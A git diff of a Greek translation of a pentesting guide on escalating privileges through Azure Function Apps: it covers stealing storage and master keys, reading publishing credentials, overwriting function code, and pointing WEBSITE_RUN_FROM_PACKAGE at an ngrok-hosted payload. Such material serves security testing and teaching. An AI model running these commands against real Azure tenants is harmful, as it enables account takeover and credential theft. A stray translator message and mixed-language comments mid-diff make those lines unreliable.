Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-30 12:27:30 +00:00
parent 8280a5b31f
commit 445020b1ec

View File

@@ -12,26 +12,26 @@
### Bucket Read/Write
Με άδειες για ανάγνωση των κοντέινερ μέσα στον Λογαριασμό Αποθήκευσης που αποθηκεύει τα δεδομένα της λειτουργίας, είναι δυνατόν να βρείτε **διαφορετικά κοντέινερ** (προσαρμοσμένα ή με προκαθορισμένα ονόματα) που μπορεί να περιέχουν **τον κώδικα που εκτελείται από τη λειτουργία**.
Με δικαιώματα ανάγνωσης των containers μέσα στο Storage Account που αποθηκεύει τα δεδομένα της function, είναι δυνατό να βρεθούν **διάφορα containers** (προσαρμοσμένα ή με προκαθορισμένα ονόματα) που μπορεί να περιέχουν **τον κώδικα που εκτελείται από τη function**.
Μόλις βρείτε πού βρίσκεται ο κώδικας της λειτουργίας, αν έχετε άδειες εγγραφής σε αυτόν, μπορείτε να κάνετε τη λειτουργία να εκτελέσει οποιονδήποτε κώδικα και να αναβαθμίσετε τα δικαιώματα στις διαχειριζόμενες ταυτότητες που είναι συνδεδεμένες με τη λειτουργία.
Αφού βρείτε πού βρίσκεται ο κώδικας της function, αν έχετε δικαιώματα εγγραφής σε αυτόν, μπορείτε να κάνετε τη function να εκτελέσει οποιονδήποτε κώδικα και να αυξήσετε τα προνόμια προς τα managed identities που είναι συνδεδεμένα στη function.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` και `WEBSITE_CONTENTSHARE`)
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
Ο κώδικας της λειτουργίας αποθηκεύεται συνήθως μέσα σε ένα αρχείο κοινής χρήσης. Με αρκετή πρόσβαση, είναι δυνατόν να τροποποιήσετε το αρχείο κώδικα και **να κάνετε τη λειτουργία να φορτώσει αυθαίρετο κώδικα**, επιτρέποντας την αναβάθμιση των δικαιωμάτων στις διαχειριζόμενες ταυτότητες που είναι συνδεδεμένες με τη Λειτουργία.
Ο κώδικας της function συνήθως αποθηκεύεται μέσα σε ένα file share. Με αρκετή πρόσβαση είναι δυνατό να τροποποιήσετε το αρχείο κώδικα και **να κάνετε τη function να φορτώσει αυθαίρετο κώδικα**, επιτρέποντας την αναβάθμιση προνομίων προς τα managed identities που είναι συνδεδεμένα με τη Function.
Αυτή η μέθοδος ανάπτυξης συνήθως ρυθμίζει τις ρυθμίσεις **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** και **`WEBSITE_CONTENTSHARE`** που μπορείτε να αποκτήσετε από
Αυτή η μέθοδος deployment συνήθως ρυθμίζει τις ρυθμίσεις **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** και **`WEBSITE_CONTENTSHARE`** τις οποίες μπορείτε να αποκτήσετε από
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Αυτές οι ρυθμίσεις θα περιέχουν το **Storage Account Key** που μπορεί να χρησιμοποιήσει η Function για να έχει πρόσβαση στον κώδικα.
Αυτές οι ρυθμίσεις θα περιέχουν το **Storage Account Key** που η Function μπορεί να χρησιμοποιήσει για να αποκτήσει πρόσβαση στον κώδικα.
> [!CAUTION]
> Με αρκετές άδειες για να συνδεθείτε στο File Share και **να τροποποιήσετε το σενάριο**, είναι δυνατόν να εκτελέσετε αυθαίρετο κώδικα στη Function και να κλιμακώσετε τα δικαιώματα.
> Με αρκετά δικαιώματα για να συνδεθεί στο File Share και να **τροποποιήσει το script** που τρέχει, είναι δυνατή η εκτέλεση αυθαίρετου κώδικα στη Function και η κλιμάκωση προνομίων.
Το παρακάτω παράδειγμα χρησιμοποιεί macOS για να συνδεθεί στο file share, αλλά συνιστάται να ελέγξετε επίσης την παρακάτω σελίδα για περισσότερες πληροφορίες σχετικά με τα file shares:
Το παρακάτω παράδειγμα χρησιμοποιεί macOS για να συνδεθεί στο file share, αλλά συνιστάται επίσης να ελέγξετε την παρακάτω σελίδα για περισσότερες πληροφορίες σχετικά με τα file shares:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Είναι επίσης κοινό να βρείτε τις **zip εκδόσεις** μέσα στον φάκελο `function-releases` του κοντέινερ του Storage Account που χρησιμοποιεί η εφαρμογή λειτουργιών σε ένα κοντέινερ **συνήθως ονομάζεται `function-releases`**.
Είναι επίσης συνηθισμένο να βρείτε τα **zip releases** μέσα στο φάκελο `function-releases` του Storage Account container που το function app χρησιμοποιεί, σε ένα container **συνήθως ονομαζόμενο `function-releases`**.
Συνήθως αυτή η μέθοδος ανάπτυξης θα ρυθμίσει τη ρύθμιση `WEBSITE_RUN_FROM_PACKAGE` στο:
Συνήθως αυτή η μέθοδος ανάπτυξης θα ορίσει τη ρύθμιση `WEBSITE_RUN_FROM_PACKAGE` στο:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Αυτή η ρύθμιση θα περιέχει συνήθως ένα **SAS URL για λήψη** του κώδικα από τον Λογαριασμό Αποθήκευσης.
Αυτό το config συνήθως περιέχει ένα **SAS URL για λήψη** του κώδικα από το Storage Account.
> [!CAUTION]
> Με αρκετές άδειες για σύνδεση με το blob container που **περιέχει τον κώδικα σε zip** είναι δυνατόν να εκτελέσετε αυθαίρετο κώδικα στη Λειτουργία και να κλιμακώσετε τα δικαιώματα.
> Με αρκετά δικαιώματα για να συνδεθείτε στο blob container που **περιέχει τον κώδικα σε zip** είναι δυνατό να εκτελεστεί arbitrary code στη Function και να escalate privileges.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Ακριβώς όπως στην προηγούμενη περίπτωση, αν η ανάπτυξη γίνει μέσω των Github Actions, είναι δυνατόν να βρείτε τον φάκελο **`github-actions-deploy`** στον Λογαριασμό Αποθήκευσης που περιέχει ένα zip του κώδικα και ένα SAS URL για το zip στη ρύθμιση `WEBSITE_RUN_FROM_PACKAGE`.
Όπως και στην προηγούμενη περίπτωση, αν το deployment γίνεται μέσω Github Actions είναι δυνατό να βρεθεί ο φάκελος **`github-actions-deploy`** στο Storage Account που περιέχει ένα zip του κώδικα και ένα SAS URL προς το zip στη ρύθμιση `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` και `WEBSITE_CONTENTSHARE`)
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Με άδειες για ανάγνωση των containers μέσα στον Λογαριασμό Αποθήκευσης που αποθηκεύει τα δεδομένα της λειτουργίας, είναι δυνατόν να βρείτε το container **`scm-releases`**. Εκεί είναι δυνατόν να βρείτε την τελευταία έκδοση σε **μορφή αρχείου Squashfs filesystem** και επομένως είναι δυνατόν να διαβάσετε τον κώδικα της λειτουργίας:
Με δικαιώματα ανάγνωσης των containers μέσα στο Storage Account που αποθηκεύει τα δεδομένα της Function, είναι δυνατό να βρεθεί το container **`scm-releases`**. Εκεί είναι δυνατό να βρεθεί το latest release σε **Squashfs filesystem file format** και επομένως είναι δυνατό να διαβαστεί ο κώδικας της Function:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Είναι επίσης δυνατό να βρείτε τα **master and functions keys** που είναι αποθηκευμένα στον λογαριασμό αποθήκευσης στον κάδο **`azure-webjobs-secrets`** μέσα στον φάκελο **`<app-name>`** στα αρχεία JSON που μπορείτε να βρείτε μέσα.
Είναι επίσης δυνατό να βρείτε τα **master and functions keys** αποθηκευμένα στον storage account στον container **`azure-webjobs-secrets`**, μέσα στον φάκελο **`<app-name>`**, στα JSON αρχεία που θα βρείτε εκεί.
> [!CAUTION]
> Με αρκετά δικαιώματα για να συνδεθείτε στον κάδο blob που **περιέχει τον κώδικα σε αρχείο με επέκταση zip** (το οποίο στην πραγματικότητα είναι ένα **`squashfs`**) είναι δυνατό να εκτελέσετε αυθαίρετο κώδικα στη Function και να κλιμακώσετε τα δικαιώματα.
> Με επαρκή δικαιώματα για σύνδεση στον blob container που **contains the code in a zip extension file** (το οποίο στην πραγματικότητα είναι **`squashfs`**), είναι δυνατό να εκτελεστεί arbitrary code στο Function και να γίνει escalate privileges.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Αυτή η άδεια επιτρέπει την καταγραφή των κλειδιών λειτουργίας, κύριου και συστήματος, αλλά όχι του κλειδιού του διακομιστή, της καθορισμένης λειτουργίας με:
Αυτή η άδεια επιτρέπει την απαρίθμηση των function, master και system keys της καθορισμένης λειτουργίας, αλλά όχι του host key, με:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Με το κύριο κλειδί είναι επίσης δυνατό να αποκτήσετε τον πηγαίο κώδικα σε μια διεύθυνση URL όπως:
Με το κύριο κλειδί είναι επίσης δυνατό να λάβετε τον πηγαίο κώδικα μέσω ενός URL όπως:
```bash
# Get "script_href" from
az rest --method GET \
@@ -130,70 +130,91 @@ az rest --method GET \
# Access
curl "<script-href>?code=<master-key>"
## Python example:
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
Και για να **αλλάξετε τον κώδικα που εκτελείται** στη λειτουργία με:
Και για να **αλλάξετε τον κώδικα που εκτελείται** στη συνάρτηση με:
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
```
### `Microsoft.Web/sites/functions/listKeys/action`
Αυτή η άδεια επιτρέπει την απόκτηση του κλειδιού διακομιστή, της καθορισμένης λειτουργίας με:
Αυτή η άδεια επιτρέπει την απόκτηση του default key της συγκεκριμένης function με:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Εκτελέστε τη function χρησιμοποιώντας το προεπιλεγμένο κλειδί που αποκτήθηκε:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
Αυτή η άδεια επιτρέπει τη δημιουργία/ενημέρωση ενός κλειδιού λειτουργίας της καθορισμένης λειτουργίας με:
Αυτό το δικαίωμα επιτρέπει τη δημιουργία/ενημέρωση ενός function key της συγκεκριμένης function με:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`
Αυτή η άδεια επιτρέπει τη δημιουργία/ενημέρωση ενός κύριου κλειδιού για τη συγκεκριμένη λειτουργία με:
Αυτή η άδεια επιτρέπει τη δημιουργία/ενημέρωση ενός master key για τη συγκεκριμένη function με:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Θυμηθείτε ότι με αυτό το κλειδί μπορείτε επίσης να έχετε πρόσβαση στον πηγαίο κώδικα και να τον τροποποιήσετε όπως εξηγήθηκε προηγουμένως!
> Θυμηθείτε ότι με αυτό το key μπορείτε επίσης να έχετε πρόσβαση στον source code και να τον τροποποιήσετε όπως εξηγήθηκε προηγουμένως!
### `Microsoft.Web/sites/host/systemKeys/write`
Αυτή η άδεια επιτρέπει τη δημιουργία/ενημέρωση ενός κλειδιού συστήματος για τη συγκεκριμένη λειτουργία με:
Αυτή η άδεια επιτρέπει τη δημιουργία/ενημέρωση ενός system function key για τη συγκεκριμένη function με:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
Δεν λάβαμε κανένα κλειδί ή περιεχόμενο. Παρακαλώ επικολλήστε το κλειδί ή το κείμενο από το αρχείο (src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) που θέλετε να μεταφράσω.
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
```
### `Microsoft.Web/sites/config/list/action`
Αυτή η άδεια επιτρέπει την απόκτηση των ρυθμίσεων μιας λειτουργίας. Μέσα σε αυτές τις ρυθμίσεις μπορεί να είναι δυνατή η εύρεση των προεπιλεγμένων τιμών **`AzureWebJobsStorage`** ή **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** που περιέχουν ένα **κλειδί λογαριασμού για πρόσβαση στο blob storage της λειτουργίας με ΠΛΗΡΕΙΣ άδειες**.
Αυτή η άδεια επιτρέπει την ανάκτηση των ρυθμίσεων μιας function. Μέσα σε αυτές τις ρυθμίσεις μπορεί να βρεθούν οι προεπιλεγμένες τιμές **`AzureWebJobsStorage`** ή **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, οι οποίες περιέχουν ένα **account key για πρόσβαση στο blob storage της function με FULL permissions**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Επιπλέον, αυτή η άδεια επιτρέπει επίσης να αποκτήσετε το **SCM username and password** (αν είναι ενεργοποιημένο) με:
Επιπλέον, αυτή η άδεια επιτρέπει επίσης την απόκτηση των **SCM username and password** (εάν είναι ενεργοποιημένα) με:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Αυτές οι άδειες επιτρέπουν την καταγραφή των τιμών ρυθμίσεων μιας λειτουργίας όπως έχουμε δει προηγουμένως, καθώς και **την τροποποίηση αυτών των τιμών**. Αυτό είναι χρήσιμο διότι αυτές οι ρυθμίσεις υποδεικνύουν πού βρίσκεται ο κώδικας που θα εκτελείται μέσα στη λειτουργία.
Αυτές οι permissions επιτρέπουν να απαριθμηθούν οι τιμές του config μιας function όπως είδαμε προηγουμένως, καθώς και η **τροποποίηση αυτών των τιμών**. Αυτό είναι χρήσιμο επειδή αυτές οι ρυθμίσεις δείχνουν πού βρίσκεται ο κώδικας που θα εκτελεστεί μέσα στη function.
Είναι επομένως δυνατό να ορίσετε την τιμή της ρύθμισης **`WEBSITE_RUN_FROM_PACKAGE`** που δείχνει σε ένα URL zip αρχείο που περιέχει τον νέο κώδικα που θα εκτελείται μέσα σε μια διαδικτυακή εφαρμογή:
Επομένως είναι δυνατό να οριστεί η τιμή της ρύθμισης **`WEBSITE_RUN_FROM_PACKAGE`** σε ένα URL αρχείου zip που περιέχει τον νέο κώδικα για εκτέλεση μέσα σε μια web application:
- Ξεκινήστε αποκτώντας την τρέχουσα ρύθμιση
- Ξεκινήστε λαμβάνοντας το τρέχον config
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Δημιουργήστε τον κώδικα που θέλετε να εκτελεί η λειτουργία και φιλοξενήστε τον δημόσια
- Δημιουργήστε τον κώδικα που θέλετε να εκτελέσει η function και φιλοξενήστε τον δημόσια
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -203,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Τροποποιήστε τη λειτουργία, διατηρήστε τις προηγούμενες παραμέτρους και προσθέστε στο τέλος τη ρύθμιση **`WEBSITE_RUN_FROM_PACKAGE`** που δείχνει στη διεύθυνση URL με το **zip** που περιέχει τον κώδικα.
- Τροποποιήστε τη function, κρατήστε τις προηγούμενες παραμέτρους και προσθέστε στο τέλος την config **`WEBSITE_RUN_FROM_PACKAGE`** που δείχνει στο URL με το **zip** που περιέχει τον κώδικα.
Το παρακάτω είναι ένα παράδειγμα των **δικών μου ρυθμίσεων που θα χρειαστεί να αλλάξετε τις τιμές για τις δικές σας**, σημειώστε στο τέλος τις τιμές `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, εδώ φιλοξενούσα την εφαρμογή.
Το ακόλουθο είναι ένα παράδειγμα των δικών μου **ρυθμίσεων που θα χρειαστεί να αλλάξετε τις τιμές για τις δικές σας**, σημειώστε στο τέλος την τιμή `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, εκεί φιλοξενούσα την εφαρμογή.
```bash
# Modify the function
az rest --method PUT \
@@ -215,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Με αυτή την άδεια είναι **δυνατό να τροποποιηθεί ο κώδικας μιας εφαρμογής** μέσω της διαδικτυακής κονσόλας (ή μέσω του παρακάτω API endpoint):
Με αυτή την άδεια είναι **δυνατό να τροποποιηθεί ο κώδικας μιας εφαρμογής** μέσω της web κονσόλας (ή μέσω του ακόλουθου API endpoint):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -223,10 +244,29 @@ az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Αυτή η άδεια επιτρέπει την καταγραφή όλων των προφίλ δημοσίευσης που περιέχουν βασικά **credentials βασικής αυθεντικοποίησης**:
Αυτή η άδεια επιτρέπει την απαρίθμηση όλων των publishing profiles, που ουσιαστικά περιέχουν **basic auth credentials**:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -234,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Μια άλλη επιλογή θα ήταν να ορίσετε τα δικά σας διαπιστευτήρια και να τα χρησιμοποιήσετε με:
Μια άλλη επιλογή θα ήταν να ορίσετε τα δικά σας creds και να τα χρησιμοποιήσετε ως εξής:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Αν οι πιστοποιήσεις είναι **REDACTED**
- Αν **REDACTED** credentials
Αν δείτε ότι αυτές οι πιστοποιήσεις είναι **REDACTED**, είναι επειδή **πρέπει να ενεργοποιήσετε την επιλογή βασικής αυθεντικοποίησης SCM** και για αυτό χρειάζεστε την δεύτερη άδεια (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
Αν δείτε ότι αυτά τα credentials είναι **REDACTED**, αυτό συμβαίνει επειδή **πρέπει να ενεργοποιήσετε την επιλογή SCM basic authentication** και γι' αυτό χρειάζεστε τη δεύτερη άδεια (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -262,9 +302,9 @@ az rest --method PUT \
}
}
```
- **Method SCM**
- **Μέθοδος SCM**
Στη συνέχεια, μπορείτε να αποκτήσετε πρόσβαση με αυτά τα **βασικά διαπιστευτήρια αυθεντικοποίησης στη διεύθυνση URL SCM** της εφαρμογής σας και να αποκτήσετε τις τιμές των μεταβλητών περιβάλλοντος:
Στη συνέχεια, μπορείτε να αποκτήσετε πρόσβαση με αυτά τα **basic auth credentials to the SCM URL** της function app σας και να λάβετε τις τιμές των env variables:
```bash
# Get settings values
curl -u '<username>:<password>' \
@@ -275,15 +315,15 @@ zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Σημειώστε ότι το **όνομα χρήστη SCM** είναι συνήθως ο χαρακτήρας "$" ακολουθούμενος από το όνομα της εφαρμογής, έτσι: `$<app-name>`._
_Σημειώστε ότι το **SCM username** είναι συνήθως ο χαρακτήρας "$" ακολουθούμενος από το όνομα της εφαρμογής, δηλαδή: `$<app-name>`._
Μπορείτε επίσης να αποκτήσετε πρόσβαση στη σελίδα από `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Μπορείτε επίσης να αποκτήσετε πρόσβαση στη σελίδα web από `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Οι τιμές ρυθμίσεων περιέχουν το **AccountKey** του λογαριασμού αποθήκευσης που αποθηκεύει τα δεδομένα της εφαρμογής λειτουργίας, επιτρέποντας τον έλεγχο αυτού του λογαριασμού αποθήκευσης.
Οι τιμές των ρυθμίσεων περιέχουν το **AccountKey** του storage account που αποθηκεύει τα δεδομένα της function app, επιτρέποντας τον έλεγχο αυτού του storage account.
- **Μέθοδος FTP**
Συνδεθείτε στον διακομιστή FTP χρησιμοποιώντας:
Συνδεθείτε στον FTP server χρησιμοποιώντας:
```bash
# macOS install lftp
brew install lftp
@@ -297,19 +337,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Σημειώστε ότι το **όνομα χρήστη FTP** είναι συνήθως στη μορφή \<app-name>\\$\<app-name>._
_Σημειώστε ότι το **FTP username** συνήθως έχει τη μορφή \<app-name>\\$\<app-name>._
### `Microsoft.Web/sites/hostruntime/vfs/read`
Αυτή η άδεια επιτρέπει να **διαβάσετε τον πηγαίο κώδικα** της εφαρμογής μέσω του VFS:
Αυτό το δικαίωμα επιτρέπει να **διαβάσετε τον πηγαίο κώδικα** της εφαρμογής μέσω του VFS:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`
Με αυτή την άδεια είναι δυνατή η [λήψη του **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) το οποίο μπορεί να χρησιμοποιηθεί αργότερα για να ανακτηθεί το **master key** και επομένως να αποκτηθεί πρόσβαση και να τροποποιηθεί ο κώδικας της λειτουργίας.
Με αυτήν την άδεια είναι δυνατόν να [λάβετε το **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) το οποίο μπορεί στη συνέχεια να χρησιμοποιηθεί για να ανακτηθεί το **master key** και επομένως να αποκτήσετε πρόσβαση και να τροποποιήσετε τον κώδικα της function.
Ωστόσο, στις τελευταίες μου ελέγχους δεν επιστράφηκε κανένα token, οπότε μπορεί να είναι απενεργοποιημένο ή να μην λειτουργεί πια, αλλά εδώ είναι πώς θα το κάνατε:
Ωστόσο, στους τελευταίους μου ελέγχους δεν επιστράφηκε κανένα token, οπότε ίσως είναι απενεργοποιημένο ή δεν λειτουργεί πια, αλλά εδώ είναι πώς θα το κάνατε:
```bash
# Get admin token
az rest --method GET \
@@ -321,7 +361,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Αυτές οι άδειες επιτρέπουν να **ενεργοποιηθούν οι λειτουργίες** που μπορεί να είναι απενεργοποιημένες (ή να απενεργοποιηθούν).
Αυτό το δικαίωμα επιτρέπει να **enable functions** που μπορεί να είναι απενεργοποιημένες (ή να τις απενεργοποιήσει).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -329,13 +369,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Είναι επίσης δυνατό να δείτε αν μια λειτουργία είναι ενεργοποιημένη ή απενεργοποιημένη στην παρακάτω διεύθυνση URL (χρησιμοποιώντας την άδεια που αναφέρεται σε παρένθεση):
Επίσης μπορείτε να δείτε αν μια function είναι ενεργοποιημένη ή απενεργοποιημένη στην ακόλουθη URL (χρησιμοποιώντας την άδεια που αναφέρεται στην παρένθεση):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Με αυτές τις άδειες είναι δυνατόν να **τροποποιηθεί το κοντέινερ που εκτελείται από μια εφαρμογή λειτουργίας** που έχει ρυθμιστεί να εκτελεί ένα κοντέινερ. Αυτό θα επέτρεπε σε έναν επιτιθέμενο να ανεβάσει μια κακόβουλη εφαρμογή κοντέινερ azure function στο docker hub (για παράδειγμα) και να κάνει τη λειτουργία να την εκτελέσει.
Με αυτά τα permissions είναι δυνατό να **τροποποιήσει κανείς το container που εκτελείται από ένα function app** το οποίο είναι ρυθμισμένο να τρέχει container. Αυτό θα επέτρεπε σε έναν attacker να ανεβάσει ένα κακόβουλο azure function container app στο docker hub (για παράδειγμα) και να κάνει τη function να το εκτελέσει.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -343,29 +383,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Με αυτές τις άδειες είναι δυνατή η **σύνδεση μιας νέας ταυτότητας διαχειριζόμενου χρήστη σε μια λειτουργία**. Εάν η λειτουργία είχε παραβιαστεί, αυτό θα επέτρεπε την κλιμάκωση των δικαιωμάτων σε οποιαδήποτε ταυτότητα διαχειριζόμενου χρήστη.
Με αυτά τα δικαιώματα είναι δυνατό να **attach a new user managed identity to a function**. Αν η function είχε παραβιαστεί, αυτό θα επέτρεπε την κλιμάκωση προνομίων σε οποιαδήποτε user managed identity.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Remote Debugging
### Απομακρυσμένη Αποσφαλμάτωση
Είναι επίσης δυνατό να συνδεθείτε για να αποσφαλματώσετε μια εκτελούμενη Azure function όπως [**εξηγείται στα έγγραφα**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ωστόσο, από προεπιλογή, η Azure θα απενεργοποιήσει αυτή την επιλογή σε 2 ημέρες σε περίπτωση που ο προγραμματιστής ξεχάσει να αποφύγει την αφήγηση ευάλωτων ρυθμίσεων.
Επίσης είναι δυνατό να συνδεθείτε για να κάνετε αποσφαλμάτωση σε μια εκτελούμενη Azure Function όπως [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ωστόσο, από προεπιλογή η Azure θα απενεργοποιήσει αυτή την επιλογή μετά από 2 ημέρες σε περίπτωση που ο προγραμματιστής ξεχάσει, για να αποφευχθεί η παραμονή ευάλωτων ρυθμίσεων.
Είναι δυνατό να ελέγξετε αν μια Function έχει ενεργοποιημένη την αποσφαλμάτωση με:
Μπορείτε να ελέγξετε αν μια Function έχει ενεργοποιημένη την αποσφαλμάτωση με:
